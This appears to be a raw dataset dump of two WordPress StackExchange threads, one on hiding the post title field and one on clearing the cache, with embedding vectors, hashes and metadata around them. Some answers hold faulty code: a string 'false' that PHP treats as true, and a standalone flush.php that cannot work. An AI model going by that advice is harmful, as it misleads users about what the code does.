0.0294647216796875,
0.0341796875,
0.00991058349609375,
-0.031768798828125,
-0.0014543533325195312,
-0.014617919921875,
0.0037021636962890625,
-0.0240325927734375,
0.04638671875,
-0.01605224609375,
0.017822265625,
-0.005069732666015625,
-0.042572021484375,
0.021331787109375,
-0.06109619140625,
-0.0286865234375,
0.0029163360595703125,
-0.0135345458984375,
-0.0202484130859375,
-0.0101318359375,
-0.00197601318359375,
-0.004425048828125,
0.00009971857070922852,
-0.00970458984375,
0.007266998291015625,
0.0294342041015625,
0.050445556640625,
0.0711669921875,
-0.0263671875,
-0.043792724609375,
-0.0198822021484375,
0.05035400390625,
-0.0038776397705078125,
-0.024383544921875,
0.0253448486328125,
0.01519012451171875,
-0.028839111328125,
-0.0699462890625,
-0.045196533203125,
-0.0438232421875,
0.004184722900390625,
-0.01245880126953125,
0.0168609619140625,
0.01971435546875,
-0.007152557373046875,
0.0239410400390625,
0.04010009765625,
0.00579833984375,
-0.017059326171875,
-0.03656005859375,
0.00618743896484375,
0.01177215576171875,
0.0271759033203125,
-0.00926971435546875,
0.00623321533203125,
-0.0299072265625,
-0.003692626953125,
0.0007452964782714844,
-0.0077362060546875,
0.0166778564453125,
-0.041229248046875,
0.01406097412109375,
0.0244140625,
0.028564453125,
0.01329803466796875,
0.01027679443359375,
0.0012531280517578125,
0.00021576881408691406,
0.0220947265625,
-0.0192718505859375,
0.037109375,
-0.049957275390625,
-0.0007181167602539062,
0.037078857421875,
0.0251922607421875,
-0.00290679931640625,
-0.04388427734375,
0.030670166015625,
-0.039947509765625,
-0.025238037109375,
0.01094818115234375,
0.001476287841796875,
0.04461669921875,
0.03314208984375,
0.0274200439453125,
0.0234375,
0.005870819091796875,
0.02655029296875,
-0.01934814453125,
-0.05224609375,
-0.00972747802734375,
-0.0272369384765625,
-0.03680419921875,
-0.01195526123046875,
0.0193023681640625,
0.07427978515625,
-0.05438232421875,
-0.007266998291015625,
0.01494598388671875,
-0.00937652587890625,
-0.026031494140625,
-0.0238800048828125,
-0.00406646728515625,
0.0197906494140625,
0.0160369873046875,
-0.035888671875,
0.0015316009521484375,
-0.020965576171875,
-0.031982421875,
0.0298004150390625,
0.031280517578125,
-0.0257568359375,
0.0362548828125,
0.036712646484375,
0.01381683349609375,
0.01513671875,
-0.0129547119140625,
-0.0196685791015625,
-0.0224456787109375,
0.05072021484375,
-0.003787994384765625,
-0.0207366943359375,
-0.03948974609375,
-0.0195159912109375,
0.049468994140625,
0.027618408203125,
0.058074951171875,
-0.01160430908203125,
0.018951416015625,
-0.0126190185546875,
-0.0125885009765625,
-0.0103607177734375,
0.006511688232421875,
-0.031494140625,
-0.0165863037109375,
0.0033740997314453125,
-0.00846099853515625,
-0.0513916015625,
0.003326416015625,
0.061370849609375,
-0.00994110107421875,
0.00196075439453125,
0.0206146240234375,
0.0278472900390625,
-0.01103973388671875,
0.0286865234375,
-0.01502227783203125,
0.005290985107421875,
-0.0196685791015625,
-0.013092041015625,
0.04486083984375,
0.00693511962890625,
-0.042022705078125,
-0.0105743408203125,
-0.005313873291015625,
-0.0487060546875,
0.01055145263671875,
-0.0241241455078125,
-0.01110076904296875,
0.018951416015625,
0.034912109375,
-0.0164337158203125,
0.00936126708984375,
-0.01113128662109375,
0.007656097412109375,
0.02581787109375,
0.022491455078125,
-0.00820159912109375,
-0.00679779052734375,
0.01214599609375,
0.0299835205078125,
0.0183563232421875,
-0.01030731201171875,
0.00749969482421875,
0.045166015625,
-0.022216796875,
-0.0174102783203125,
-0.06536865234375,
-0.0259552001953125,
-0.04888916015625,
-0.0140533447265625,
-0.01030731201171875,
-0.032470703125,
-0.060577392578125,
-0.0044097900390625,
-0.0024814605712890625,
0.0265350341796875,
0.002552032470703125,
-0.022613525390625,
0.00453948974609375,
-0.006511688232421875,
0.007450103759765625,
-0.0030517578125,
-0.00785064697265625,
0.0051116943359375,
0.03082275390625,
0.006870269775390625,
-0.01537322998046875,
-0.031768798828125,
0.0166015625,
-0.0150604248046875,
-0.009063720703125,
0.01413726806640625,
0.001361846923828125,
-0.0557861328125,
0.0034637451171875,
-0.021728515625,
0.0360107421875,
-0.033294677734375,
-0.023223876953125,
0.0106658935546875,
-0.0143890380859375,
-0.0045928955078125,
0.00982666015625,
0.019927978515625,
-0.0380859375,
-0.0406494140625,
0.0005002021789550781,
-0.01629638671875,
0.002826690673828125,
-0.0308837890625,
-0.029937744140625,
0.059844970703125,
0.01788330078125,
-0.01422119140625,
-0.08111572265625,
0.0338134765625,
0.01065826416015625,
-0.0187225341796875,
-0.03607177734375,
0.00431060791015625,
-0.01029205322265625,
0.040283203125,
0.0220489501953125,
-0.0005173683166503906,
0.003154754638671875,
0.0399169921875,
-0.052154541015625,
0.048675537109375,
0.0246429443359375,
-0.00991058349609375,
0.018280029296875,
-0.007015228271484375,
0.0242919921875,
0.036163330078125,
-0.0295257568359375,
-0.018646240234375,
-0.007293701171875,
-0.0258941650390625,
-0.00595855712890625,
0.0009965896606445312,
-0.0390625,
0.00897216796875,
0.07391357421875,
0.0625,
0.030731201171875,
-0.054046630859375,
-0.04486083984375,
-0.03887939453125,
-0.02325439453125,
-0.029327392578125,
0.01910400390625,
-0.06866455078125,
0.0006022453308105469,
-0.02001953125,
-0.00844573974609375,
0.006137847900390625,
0.042327880859375,
-0.00836181640625,
-0.0238494873046875,
0.01532745361328125,
-0.049102783203125,
-0.002529144287109375,
-0.034698486328125,
0.046844482421875,
-0.0226593017578125,
0.02392578125,
0.00934600830078125,
0.0191497802734375,
0.01629638671875,
0.042510986328125,
0.0284881591796875,
0.0221099853515625,
-0.0171356201171875,
0.01702880859375,
0.0270233154296875,
0.03692626953125,
-0.0250701904296875,
-0.0252227783203125,
0.0168304443359375,
0.0205078125,
-0.00920867919921875,
0.0276031494140625,
0.0253753662109375,
-0.036712646484375,
-0.0237274169921875,
-0.00920867919921875,
0.006378173828125,
-0.03466796875,
-0.00643157958984375,
0.033905029296875,
0.0136871337890625,
-0.0283355712890625,
0.02020263671875,
-0.03106689453125,
0.0129852294921875,
-0.02471923828125,
-0.00731658935546875,
-0.0253753662109375,
0.017730712890625,
-0.0316162109375,
-0.039398193359375,
0.0140380859375
] |
7d043bad7e0228b097bb846bb82b73ab64a3956a
|
Wordpress Stackexchange
Q: Remove post title input from edit page I'd like to remove the post title input on a (cpt) post edit page (backend) based on user's capabilities.
I have already found Stack Overflow question dealing the problem. However, the solution in involves editing the WordPress core files. I don't like it that way.
Is it possible to achieve the hiding (or removing) with a plugin? Currently I do not know or do not see how the plugin should hook into WordPress.
A: You can do this :
add_action('admin_init', 'wpse_110427_hide_title');
function wpse_110427_hide_title() {
if (current_user_can('subscriber'))
remove_post_type_support('post', 'title');
}
This would hide title for subscriber.
Replace 'post' with your custom post type
|
Q: Remove post title input from edit page I'd like to remove the post title input on a (cpt) post edit page (backend) based on user's capabilities.
I have already found Stack Overflow question dealing the problem. However, the solution in involves editing the WordPress core files. I don't like it that way.
Is it possible to achieve the hiding (or removing) with a plugin? Currently I do not know or do not see how the plugin should hook into WordPress.
A: You can do this :
add_action('admin_init', 'wpse_110427_hide_title');
function wpse_110427_hide_title() {
if (current_user_can('subscriber'))
remove_post_type_support('post', 'title');
}
This would hide title for subscriber.
Replace 'post' with your custom post type
|
wordpress
|
{
"language": "en",
"length": 110,
"provenance": "stackexchange_00019.jsonl.gz:435912",
"question_score": "6",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110427"
}
|
[
0.0154876708984375,
0.00897216796875,
-0.00244903564453125,
0.08111572265625,
-0.005580902099609375,
-0.06512451171875,
0.0736083984375,
-0.0792236328125,
0.002735137939453125,
0.0116424560546875,
0.0266876220703125,
-0.0176239013671875,
-0.0440673828125,
-0.04583740234375,
-0.00969696044921875,
-0.03125,
-0.0007228851318359375,
0.00618743896484375,
0.01971435546875,
-0.015655517578125,
-0.004547119140625,
-0.01328277587890625,
0.0061798095703125,
-0.00907135009765625,
0.007068634033203125,
-0.0233154296875,
0.0816650390625,
-0.01161956787109375,
0.0108642578125,
-0.0211029052734375,
0.0242156982421875,
-0.004024505615234375,
0.0101470947265625,
0.0037631988525390625,
0.00907135009765625,
0.020416259765625,
-0.013397216796875,
0.009063720703125,
0.005588531494140625,
0.00989532470703125,
0.0003974437713623047,
0.01007080078125,
-0.059295654296875,
-0.0177001953125,
-0.0361328125,
-0.05181884765625,
0.030029296875,
0.023529052734375,
0.0250091552734375,
-0.002872467041015625,
-0.00490570068359375,
0.039794921875,
0.011077880859375,
-0.0036220550537109375,
-0.0027446746826171875,
0.0127105712890625,
-0.0238037109375,
0.01434326171875,
0.03277587890625,
0.0288238525390625,
-0.0006937980651855469,
-0.01137542724609375,
-0.0009341239929199219,
-0.03924560546875,
0.0006952285766601562,
0.01397705078125,
0.0286102294921875,
0.01172637939453125,
-0.01611328125,
0.010345458984375,
0.0165863037109375,
-0.0247955322265625,
0.0140228271484375,
-0.0198211669921875,
-0.01259613037109375,
0.001949310302734375,
-0.00012767314910888672,
-0.0133514404296875,
0.02069091796875,
-0.019989013671875,
-0.01297760009765625,
-0.0089111328125,
-0.029754638671875,
-0.0285797119140625,
0.0253448486328125,
0.01233673095703125,
-0.0102081298828125,
-0.0034580230712890625,
-0.0177154541015625,
-0.007740020751953125,
-0.01490020751953125,
-0.007389068603515625,
-0.03814697265625,
0.0230255126953125,
0.006191253662109375,
-0.0185089111328125,
0.047637939453125,
0.052734375,
-0.0245208740234375,
-0.035614013671875,
0.03924560546875,
-0.045379638671875,
0.0062408447265625,
-0.01129913330078125,
0.0010328292846679688,
0.0009436607360839844,
-0.015411376953125,
-0.01166534423828125,
0.025970458984375,
0.03448486328125,
-0.018402099609375,
-0.01424407958984375,
-0.005382537841796875,
0.01451873779296875,
-0.0312347412109375,
0.0266571044921875,
-0.006793975830078125,
-0.009735107421875,
-0.02191162109375,
0.035430908203125,
-0.00933074951171875,
-0.0031185150146484375,
-0.00701904296875,
-0.0682373046875,
0.04449462890625,
-0.01187896728515625,
-0.07196044921875,
0.042144775390625,
-0.0005364418029785156,
-0.0008511543273925781,
-0.05865478515625,
0.01050567626953125,
0.12841796875,
0.058837890625,
0.044525146484375,
-0.034210205078125,
-0.0166015625,
-0.0008473396301269531,
-0.00698089599609375,
-0.017578125,
0.00528717041015625,
-0.0284576416015625,
0.01497650146484375,
-0.0057830810546875,
0.003124237060546875,
0.0340576171875,
0.004772186279296875,
0.001987457275390625,
0.028564453125,
-0.05181884765625,
-0.0010890960693359375,
-0.04937744140625,
0.031005859375,
0.01922607421875,
-0.00432586669921875,
0.00390625,
0.03704833984375,
-0.01314544677734375,
-0.0262298583984375,
-0.0237884521484375,
0.0176849365234375,
-0.0025177001953125,
0.005870819091796875,
-0.0250396728515625,
-0.053680419921875,
0.00511932373046875,
-0.025360107421875,
-0.00923919677734375,
0.016632080078125,
-0.03240966796875,
0.038787841796875,
-0.0225372314453125,
-0.01435089111328125,
-0.01416015625,
-0.0009145736694335938,
0.02490234375,
-0.0158233642578125,
0.035369873046875,
0.00521087646484375,
0.0241546630859375,
-0.00782012939453125,
-0.044403076171875,
0.040191650390625,
-0.01611328125,
-0.066162109375,
0.0095062255859375,
0.0006098747253417969,
0.0235748291015625,
0.031707763671875,
0.0096282958984375,
0.06964111328125,
0.017364501953125,
-0.016693115234375,
-0.0244598388671875,
0.0030727386474609375,
-0.0321044921875,
0.005504608154296875,
-0.027313232421875,
-0.0083160400390625,
0.05694580078125,
0.00907135009765625,
0.0176849365234375,
-0.0033016204833984375,
0.0087890625,
-0.03143310546875,
0.005298614501953125,
-0.0186767578125,
0.019989013671875,
-0.0299224853515625,
0.00774383544921875,
0.0251617431640625,
-0.0013103485107421875,
-0.0257720947265625,
-0.00994110107421875,
-0.0251007080078125,
-0.018585205078125,
-0.002593994140625,
0.010955810546875,
-0.0100555419921875,
0.0010347366333007812,
0.007457733154296875,
-0.0230865478515625,
0.003139495849609375,
0.03240966796875,
0.07843017578125,
-0.0118865966796875,
-0.0003349781036376953,
-0.02496337890625,
0.07196044921875,
-0.0029582977294921875,
-0.0191802978515625,
0.032440185546875,
0.03155517578125,
0.03533935546875,
-0.0226287841796875,
-0.0114898681640625,
-0.030029296875,
-0.08831787109375,
-0.01158905029296875,
0.0665283203125,
0.0362548828125,
0.01297760009765625,
0.0081787109375,
0.037506103515625,
0.045806884765625,
-0.019683837890625,
0.018798828125,
0.01058197021484375,
0.02142333984375,
0.049774169921875,
-0.0251922607421875,
0.0030498504638671875,
0.01788330078125,
-0.03863525390625,
0.017059326171875,
0.05072021484375,
-0.01605224609375,
0.0186004638671875,
0.046142578125,
-0.0743408203125,
0.01496124267578125,
-0.08984375,
-0.0406494140625,
-0.0303955078125,
0.0726318359375,
0.0014467239379882812,
0.03558349609375,
0.03277587890625,
-0.05279541015625,
0.0323486328125,
0.0257720947265625,
-0.0008645057678222656,
0.004962921142578125,
0.0021762847900390625,
0.06878662109375,
-0.004241943359375,
-0.0533447265625,
-0.0121307373046875,
0.033721923828125,
0.00447845458984375,
-0.01995849609375,
-0.035552978515625,
0.0185546875,
-0.0030841827392578125,
0.0179595947265625,
-0.050262451171875,
0.05010986328125,
0.01580810546875,
0.0216522216796875,
-0.001903533935546875,
0.012451171875,
0.01467132568359375,
-0.01180267333984375,
0.041351318359375,
0.00836181640625,
-0.0265960693359375,
0.00296783447265625,
-0.07269287109375,
0.0538330078125,
-0.042724609375,
0.042755126953125,
0.07281494140625,
-0.001926422119140625,
0.00937652587890625,
0.0282745361328125,
-0.0165252685546875,
0.00019180774688720703,
0.0269012451171875,
0.0184478759765625,
0.034881591796875,
-0.088623046875,
0.0255584716796875,
0.004848480224609375,
0.006534576416015625,
-0.00794219970703125,
-0.04345703125,
0.004497528076171875,
0.0196075439453125,
-0.053924560546875,
0.0065155029296875,
-0.00751495361328125,
-0.060760498046875,
-0.02777099609375,
0.01377105712890625,
-0.039093017578125,
0.004062652587890625,
0.06005859375,
0.0005764961242675781,
0.018798828125,
-0.005840301513671875,
-0.038238525390625,
0.005199432373046875,
-0.03839111328125,
-0.031524658203125,
-0.010894775390625,
-0.00606536865234375,
0.0015020370483398438,
0.05712890625,
0.01338958740234375,
-0.051177978515625,
0.0171051025390625,
-0.01102447509765625,
-0.009918212890625,
0.032379150390625,
0.020751953125,
-0.0222625732421875,
0.0280914306640625,
0.0191802978515625,
-0.031982421875,
0.007537841796875,
-0.0007882118225097656,
-0.0374755859375,
-0.0169219970703125,
-0.002838134765625,
0.002338409423828125,
0.01148223876953125,
0.02264404296875,
0.016815185546875,
0.0014486312866210938,
-0.04278564453125,
-0.04522705078125,
0.002044677734375,
-0.05023193359375,
0.00746917724609375,
-0.002780914306640625,
0.01165771484375,
-0.01499176025390625,
0.05718994140625,
0.04449462890625,
0.0269775390625,
0.008209228515625,
0.0194244384765625,
0.0011262893676757812,
0.0113983154296875,
0.0204925537109375,
-0.035125732421875,
0.040130615234375,
-0.0035266876220703125,
-0.00896453857421875,
0.00510406494140625,
0.006595611572265625,
0.005321502685546875,
-0.002655029296875,
-0.0063629150390625,
-0.044158935546875,
0.0509033203125,
-0.00011855363845825195,
0.0131378173828125,
-0.040130615234375,
-0.034423828125,
-0.00516510009765625,
0.08172607421875,
-0.07012939453125,
-0.022430419921875,
-0.00614166259765625,
0.014923095703125,
-0.00942230224609375,
-0.02874755859375,
-0.0248565673828125,
-0.0189666748046875,
-0.10601806640625,
0.0285186767578125,
-0.0002779960632324219,
-0.01776123046875,
-0.0258331298828125,
0.017242431640625,
-0.060699462890625,
-0.0295562744140625,
0.034088134765625,
-0.029998779296875,
0.0307769775390625,
-0.01363372802734375,
-0.006084442138671875,
-0.0180206298828125,
-0.035400390625,
-0.0323486328125,
-0.0075225830078125,
-0.0101165771484375,
0.012451171875,
0.004886627197265625,
-0.024444580078125,
0.022308349609375,
-0.01910400390625,
0.01114654541015625,
0.022979736328125,
0.0198516845703125,
-0.016357421875,
-0.037689208984375,
-0.0024356842041015625,
0.004001617431640625,
-0.014129638671875,
-0.01403045654296875,
0.005626678466796875,
0.0162811279296875,
-0.007244110107421875,
0.041107177734375,
-0.03436279296875,
-0.01529693603515625,
0.01043701171875,
-0.028350830078125,
-0.03753662109375,
-0.039764404296875,
-0.050628662109375,
-0.01328277587890625,
-0.0179443359375,
-0.016510009765625,
-0.03546142578125,
-0.061492919921875,
0.05975341796875,
0.01959228515625,
0.01922607421875,
-0.0158538818359375,
0.060455322265625,
0.0004425048828125,
-0.037078857421875,
0.006824493408203125,
-0.005336761474609375,
0.0247039794921875,
0.01641845703125,
0.045928955078125,
-0.0091094970703125,
-0.018463134765625,
0.07568359375,
-0.00820159912109375,
-0.012451171875,
-0.00438690185546875,
0.0155487060546875,
-0.007160186767578125,
-0.047637939453125,
0.0276031494140625,
-0.0211639404296875,
0.04315185546875,
-0.0283050537109375,
-0.00778961181640625,
-0.0096588134765625,
0.0205078125,
0.02001953125,
-0.01421356201171875,
0.0272369384765625,
0.00882720947265625,
-0.043731689453125,
0.0283660888671875,
-0.01318359375,
-0.0263824462890625,
-0.0033283233642578125,
0.004848480224609375,
-0.021087646484375,
-0.03472900390625,
0.002429962158203125,
-0.04345703125,
-0.004306793212890625,
-0.0474853515625,
0.034454345703125,
-0.031951904296875,
-0.0186614990234375,
-0.019561767578125,
-0.0028514862060546875,
0.031280517578125,
-0.032958984375,
-0.043243408203125,
-0.03662109375,
-0.0147705078125,
0.057281494140625,
0.03546142578125,
0.01006317138671875,
0.0201263427734375,
0.056915283203125,
0.03143310546875,
0.0011606216430664062,
0.0125885009765625,
0.0716552734375,
-0.017486572265625,
-0.0281982421875,
0.024261474609375,
-0.03204345703125,
0.049407958984375,
0.0256500244140625,
-0.00586700439453125,
0.040771484375,
-0.0250396728515625,
0.03369140625,
0.03802490234375,
0.0085906982421875,
-0.0087890625,
0.0233001708984375,
-0.0157928466796875,
0.0209808349609375,
0.01477813720703125,
-0.0112152099609375,
-0.02130126953125,
0.0236663818359375,
0.0010976791381835938,
0.0216217041015625,
0.0187530517578125,
-0.00453948974609375,
0.0193023681640625,
-0.0179595947265625,
0.040985107421875,
0.0027561187744140625,
-0.061370849609375,
-0.01837158203125,
0.0178680419921875,
0.01174163818359375,
-0.0114593505859375,
-0.0109100341796875,
-0.04803466796875,
-0.046630859375,
-0.0333251953125,
0.03509521484375,
-0.06353759765625,
0.0022983551025390625,
0.0005035400390625,
-0.01910400390625,
0.004581451416015625,
0.007717132568359375,
-0.02362060546875,
-0.0396728515625,
-0.0034275054931640625,
0.001110076904296875,
0.016510009765625,
0.0024566650390625,
0.039703369140625,
-0.04205322265625,
0.0009741783142089844,
-0.01580810546875,
-0.005126953125,
0.059539794921875,
0.0252227783203125,
-0.045166015625,
0.008636474609375,
-0.031829833984375,
0.00250244140625,
-0.060760498046875,
-0.06256103515625,
-0.048553466796875,
-0.0233612060546875,
-0.004825592041015625,
0.0180511474609375,
-0.0212860107421875,
-0.0240631103515625,
0.010406494140625,
0.019866943359375,
0.01273345947265625,
0.05767822265625,
-0.00789642333984375,
0.07244873046875,
-0.023162841796875,
0.059295654296875,
-0.0014801025390625,
0.038787841796875,
0.004848480224609375,
-0.0316162109375,
0.0289154052734375,
-0.045440673828125,
-0.03692626953125,
-0.0219573974609375,
-0.01995849609375,
0.0147552490234375,
0.010894775390625,
-0.004283905029296875,
-0.036468505859375,
0.01434326171875,
0.0178985595703125,
-0.045928955078125,
0.002918243408203125,
0.01367950439453125,
-0.037109375,
-0.033477783203125,
-0.038299560546875,
0.0304412841796875,
-0.0176849365234375,
0.00727081298828125,
-0.0005202293395996094,
-0.033660888671875,
-0.0087738037109375,
0.0518798828125,
0.01001739501953125,
0.0307464599609375,
0.09027099609375,
-0.02435302734375,
0.036102294921875,
0.05645751953125,
-0.0030422210693359375,
0.0247650146484375,
-0.0093841552734375,
-0.0205841064453125,
0.005825042724609375,
0.04534912109375,
0.01611328125,
0.0024967193603515625,
0.04461669921875,
-0.015289306640625,
0.0134429931640625,
0.05316162109375,
0.0587158203125,
-0.07275390625,
0.00562286376953125,
0.012725830078125,
0.0085296630859375,
0.048858642578125,
0.0108184814453125,
0.0094146728515625,
-0.009979248046875,
-0.0187225341796875,
-0.01299285888671875,
-0.026611328125,
0.00615692138671875,
0.0169219970703125,
-0.02642822265625,
-0.01045989990234375,
0.04644775390625,
0.0019216537475585938,
-0.0322265625,
-0.005619049072265625,
0.00435638427734375,
-0.0137786865234375,
-0.04052734375,
-0.0054779052734375,
0.054107666015625,
-0.043975830078125,
-0.1297607421875,
0.004192352294921875,
0.018951416015625,
-0.042266845703125,
0.04412841796875,
0.040008544921875,
-0.009429931640625,
0.07513427734375,
-0.020263671875,
0.0268707275390625,
0.0443115234375,
-0.051025390625,
-0.042388916015625,
-0.05865478515625,
-0.00608062744140625,
0.0296173095703125,
-0.06903076171875,
0.034881591796875,
-0.0143890380859375,
-0.023651123046875,
-0.01349639892578125,
0.00669097900390625,
0.08673095703125,
0.03350830078125,
-0.06201171875,
0.0016326904296875,
0.00983428955078125,
0.0179595947265625,
-0.0257568359375,
-0.007289886474609375,
-0.0080718994140625,
0.012664794921875,
-0.032958984375,
-0.01123809814453125,
0.013885498046875,
-0.0218963623046875,
-0.07965087890625,
0.09576416015625,
0.01509857177734375,
0.04937744140625,
-0.0101470947265625,
0.03265380859375,
-0.02838134765625,
0.0042266845703125,
-0.022308349609375,
0.06011962890625,
-0.0286102294921875,
0.053619384765625,
-0.01092529296875,
0.001300811767578125,
0.03619384765625,
0.0180816650390625,
0.057098388671875,
0.00934600830078125,
0.0205078125,
-0.036834716796875,
0.02447509765625,
0.05108642578125,
-0.002971649169921875,
-0.0111236572265625,
0.017974853515625,
0.020263671875,
0.01221466064453125,
-0.0177154541015625,
0.028228759765625,
-0.048126220703125,
-0.00797271728515625,
0.04534912109375,
0.0181732177734375,
0.020843505859375,
0.033966064453125,
-0.0127410888671875,
-0.0082550048828125,
0.007793426513671875,
0.0035190582275390625,
-0.004405975341796875,
-0.006076812744140625,
0.036376953125,
0.04656982421875,
-0.05902099609375,
-0.0195465087890625,
-0.034210205078125,
0.049560546875,
0.0294342041015625,
0.040496826171875,
0.0474853515625,
0.03387451171875,
-0.00879669189453125,
-0.0006685256958007812,
0.03594970703125,
0.0102081298828125,
-0.0291595458984375,
-0.00937652587890625,
-0.009002685546875,
-0.00168609619140625,
-0.01508331298828125,
0.04931640625,
0.038360595703125,
-0.0075531005859375,
-0.034210205078125,
-0.02783203125,
0.0216522216796875,
0.02716064453125,
-0.01267242431640625,
-0.0240478515625,
-0.0286712646484375,
-0.0345458984375,
0.04400634765625,
-0.00439453125,
0.003631591796875,
0.0241851806640625,
0.0399169921875,
0.003551483154296875,
0.0224609375,
-0.0562744140625,
-0.004352569580078125,
-0.037567138671875,
-0.0095367431640625,
0.018035888671875,
0.045440673828125,
0.04510498046875,
0.04901123046875,
0.028900146484375,
-0.0294036865234375,
0.0005173683166503906,
0.027618408203125,
0.0073699951171875,
-0.0262603759765625,
-0.01215362548828125,
-0.055908203125,
0.0102691650390625,
0.00997161865234375,
0.0443115234375,
0.046356201171875,
0.0574951171875,
0.02099609375,
-0.0035190582275390625,
-0.0045928955078125,
-0.04620361328125,
-0.0199737548828125,
0.007556915283203125,
-0.00037217140197753906,
0.01441192626953125,
0.0197906494140625,
-0.015228271484375,
-0.034576416015625,
0.047821044921875,
0.0117340087890625,
-0.00452423095703125,
-0.006839752197265625,
0.0260162353515625,
-0.0275115966796875,
0.03863525390625,
-0.003696441650390625,
0.01535797119140625,
0.01702880859375,
-0.055145263671875,
-0.0016069412231445312,
-0.029571533203125,
-0.0321044921875,
0.01003265380859375,
0.0325927734375,
-0.034759521484375,
0.043426513671875,
0.0059814453125,
-0.01013946533203125,
0.0115203857421875,
-0.016082763671875,
0.00766754150390625,
0.0158233642578125,
0.0003333091735839844,
-0.003326416015625,
-0.05780029296875,
-0.034698486328125,
-0.0181884765625,
0.037261962890625,
-0.0164642333984375,
0.032806396484375,
-0.005962371826171875,
0.02130126953125,
-0.0308685302734375,
0.03887939453125,
-0.05047607421875,
-0.00984954833984375,
-0.007328033447265625,
0.0165557861328125,
0.0070037841796875,
-0.00470733642578125,
-0.0484619140625,
0.014404296875,
0.0227813720703125,
-0.0003383159637451172,
0.034088134765625,
-0.0128936767578125,
0.00799560546875,
-0.0323486328125,
-0.01837158203125,
-0.005741119384765625,
0.0504150390625,
0.0274810791015625,
-0.0462646484375,
0.05682373046875,
0.0222320556640625,
0.024505615234375,
0.012603759765625,
-0.02978515625,
-0.02398681640625,
0.0218963623046875,
-0.0231781005859375,
0.024017333984375,
0.034088134765625,
-0.05401611328125,
-0.01000213623046875,
0.045684814453125,
0.01120758056640625,
-0.01428985595703125,
0.054962158203125,
-0.0006289482116699219,
0.038116455078125,
-0.0035076141357421875,
-0.026519775390625,
-0.0736083984375,
0.00594329833984375,
-0.0039043426513671875,
-0.00925445556640625,
-0.06842041015625,
0.0176239013671875,
-0.04925537109375,
-0.01953125,
-0.03961181640625,
-0.030120849609375,
0.004581451416015625,
0.0292510986328125,
-0.00787353515625,
-0.05487060546875,
-0.0791015625,
-0.01435089111328125,
0.0017795562744140625,
-0.01087188720703125,
-0.031097412109375,
0.017120361328125,
-0.02581787109375,
-0.0087432861328125,
-0.0146331787109375,
-0.0255126953125,
0.008941650390625,
0.03472900390625,
-0.0218048095703125,
0.0032749176025390625,
-0.05401611328125,
-0.0255889892578125,
-0.039093017578125,
0.017425537109375,
0.04339599609375,
-0.0169219970703125,
-0.0234375,
0.018890380859375,
0.00428009033203125,
0.07049560546875,
-0.0185546875,
-0.02032470703125,
-0.0170135498046875,
0.031494140625,
0.01123809814453125,
-0.06658935546875,
-0.01447296142578125,
-0.0178985595703125,
0.00164031982421875,
-0.0300750732421875,
-0.005718231201171875,
-0.01319122314453125,
-0.038421630859375,
-0.042266845703125,
0.0200653076171875,
0.002719879150390625,
-0.0275115966796875,
0.018951416015625,
0.0235137939453125,
-0.0170745849609375,
0.045623779296875,
0.03643798828125,
-0.034332275390625,
0.0145263671875,
-0.023651123046875,
-0.014495849609375,
0.043182373046875,
-0.006435394287109375,
-0.0004031658172607422,
-0.0254669189453125,
0.00023472309112548828,
-0.0032558441162109375,
-0.0170745849609375,
0.0218353271484375,
-0.0131683349609375,
0.0135955810546875,
0.007049560546875,
-0.07012939453125,
-0.002960205078125,
-0.020233154296875,
0.035675048828125,
-0.01372528076171875,
-0.00853729248046875,
-0.06048583984375,
-0.0218353271484375,
0.0833740234375,
0.07684326171875,
0.026824951171875,
-0.029510498046875,
0.01389312744140625,
-0.00940704345703125,
-0.031829833984375,
-0.0197601318359375,
0.023773193359375,
-0.04962158203125,
-0.0281982421875,
0.02886962890625,
-0.0200653076171875,
0.001190185546875,
-0.0247802734375,
-0.03948974609375,
-0.0169830322265625,
-0.0278472900390625,
0.0032901763916015625,
-0.055145263671875,
0.043182373046875,
0.019989013671875,
-0.042816162109375,
-0.0537109375,
0.007167816162109375,
-0.0032501220703125,
-0.031646728515625,
-0.04052734375,
-0.0265960693359375,
-0.01345062255859375,
-0.01226806640625,
0.05743408203125,
-0.02471923828125,
0.047454833984375,
-0.05908203125,
-0.00501251220703125,
-0.033416748046875,
0.0224456787109375,
0.016693115234375,
0.024810791015625,
-0.037353515625,
0.0227203369140625,
0.0287017822265625,
0.0244293212890625,
-0.0004456043243408203,
-0.006084442138671875,
-0.049346923828125,
0.0474853515625,
0.037933349609375,
-0.03399658203125,
0.06640625,
-0.0113677978515625,
0.00011581182479858398,
0.0127105712890625,
0.008514404296875,
-0.042327880859375,
0.03314208984375,
-0.015350341796875,
0.0227813720703125,
0.0135345458984375
] |
2ec6cbb02d32c6a1c65e5830cfb67f73c2081c67
|
Wordpress Stackexchange
Q: How to clear the cache? I have made changes in my CSS, but it doesn't work. I know it's because of caching from admin panel.
How to clear cache of my WordPress admin. Is there any method to clear the cache?
A: Have you looked at WP_Object_Cache?
If you suspect there is unwanted caching happening in the code that generates the admin panel then you might be able to use functions from the WP_Object_Cache to clear it.
WP_Object_Cache is WordPress' class for caching data which may be
computationally expensive to regenerate, such as the result of complex database queries.
Try the function wp_cache_flush() which clears all cached data.
|
Q: How to clear the cache? I have made changes in my CSS, but it doesn't work. I know it's because of caching from admin panel.
How to clear cache of my WordPress admin. Is there any method to clear the cache?
A: Have you looked at WP_Object_Cache?
If you suspect there is unwanted caching happening in the code that generates the admin panel then you might be able to use functions from the WP_Object_Cache to clear it.
WP_Object_Cache is WordPress' class for caching data which may be
computationally expensive to regenerate, such as the result of complex database queries.
Try the function wp_cache_flush() which clears all cached data.
A: I wonder why not you Googled and solved it first?
Unlike Drupal, WordPress by default doesn't have any Mass-Caching. The problem you are facing is well cited here:
*
*I Make Changes and Nothing Happens
But for a quick check, open the wp-config.php (In the root of your WP installation, where there are three folders: wp-admin, wp-content, and wp-includes present) and check if 'WP_CACHE' is 'true'. Just make it 'false':
define('WP_CACHE', 'false');
Or, you can simply remove the line. (The WP_CACHE is better cited in this article.)
If you are using any plugin for Caching, then the settings panel of the plugin will have a "Clear Cache" button. As per as I know, WP Super Cache Plugin has such button.
A: <?php
function wp_cache_flush() {
global $wp_object_cache;
return $wp_object_cache->flush();
}
?>
Create a new file say "flush.php" with above code in the root of your WordPress installation.
Visit, yoursite.com/flush.php
A: If you using cPanel for your site maybe you activate (or your hosting provider) Optimize WebSite option. Go to your cPanel and find "Optimize Website" page on Sowftware section.
After that set"Compress Content" to disabled.
Also if you changed your .htaccess file (this file located in your public_html folder) maybe you add any deflate or gzip code into. Change this file's content to (please make backup before editing)
# BEGIN WordPress
